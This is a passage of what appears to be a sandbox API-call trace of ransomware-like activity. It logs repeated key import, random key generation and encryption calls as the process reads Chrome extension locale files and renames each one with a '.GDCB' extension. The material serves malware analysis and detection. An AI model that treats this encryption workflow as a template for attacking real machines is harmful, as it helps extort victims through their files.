[0259.337] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67922a0) returned 1 [0259.338] CryptGetKeyParam (in: hKey=0x67922a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.338] CryptEncrypt (in: hKey=0x67922a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.338] GetLastError () returned 0x0 [0259.338] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.338] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.340] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67920e0) returned 1 [0259.340] CryptGetKeyParam (in: hKey=0x67920e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.340] CryptEncrypt (in: hKey=0x67920e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.340] GetLastError () returned 0x0 [0259.340] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.340] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.341] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.344] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.346] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xf2, lpOverlapped=0x0) returned 1 [0259.355] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.384] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json.gdcb")) returned 1 [0259.389] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.392] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.394] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.394] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.394] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.394] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.397] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.399] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.399] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.399] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.399] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0259.401] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67923a0) returned 1 [0259.401] CryptGetKeyParam (in: hKey=0x67923a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.401] CryptEncrypt (in: hKey=0x67923a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.402] GetLastError () returned 0x0 [0259.402] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.402] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.403] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67923e0) returned 1 [0259.403] CryptGetKeyParam (in: hKey=0x67923e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.403] CryptEncrypt (in: hKey=0x67923e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.404] GetLastError () returned 0x0 [0259.404] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.404] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.405] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.407] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.409] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xda, lpOverlapped=0x0) returned 1 [0259.418] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.425] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json.gdcb")) returned 1 [0259.430] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0259.433] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.436] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.436] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.436] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.436] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0259.439] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.441] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.441] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.441] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.441] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0259.443] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792320) returned 1 [0259.443] CryptGetKeyParam (in: hKey=0x6792320, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.443] CryptEncrypt (in: hKey=0x6792320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.443] GetLastError () returned 0x0 [0259.443] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.444] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.445] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792160) returned 1 [0259.445] CryptGetKeyParam (in: hKey=0x6792160, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.445] CryptEncrypt (in: hKey=0x6792160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.446] GetLastError () returned 0x0 [0259.446] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.446] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.447] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.450] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.452] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x101, lpOverlapped=0x0) returned 1 [0259.461] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.493] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json.gdcb")) returned 1 [0259.499] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.503] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.505] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.506] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.506] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.506] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.508] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.511] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.512] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.512] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.512] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0259.514] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792260) returned 1 [0259.514] CryptGetKeyParam (in: hKey=0x6792260, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.514] CryptEncrypt (in: hKey=0x6792260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.515] GetLastError () returned 0x0 [0259.515] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.515] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.517] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67921e0) returned 1 [0259.517] CryptGetKeyParam (in: hKey=0x67921e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.517] CryptEncrypt (in: hKey=0x67921e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.517] GetLastError () returned 0x0 [0259.517] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.517] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.519] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.523] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.526] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xf6, lpOverlapped=0x0) returned 1 [0259.535] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.542] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json.gdcb")) returned 1 [0259.547] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.550] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.552] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.552] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.552] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.552] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0259.554] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.557] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.557] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.557] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.557] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0259.559] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792420) returned 1 [0259.559] CryptGetKeyParam (in: hKey=0x6792420, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.559] CryptEncrypt (in: hKey=0x6792420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.560] GetLastError () returned 0x0 [0259.560] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.560] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0259.562] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792660) returned 1 [0259.562] CryptGetKeyParam (in: hKey=0x6792660, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.562] CryptEncrypt (in: hKey=0x6792660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.562] GetLastError () returned 0x0 [0259.562] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0259.562] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.563] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.566] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.568] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x108, lpOverlapped=0x0) returned 1 [0259.577] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.585] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json.gdcb")) returned 1 [0259.590] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.593] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.595] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.595] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.595] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.595] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.598] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.600] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.600] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.600] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.601] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0259.603] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: 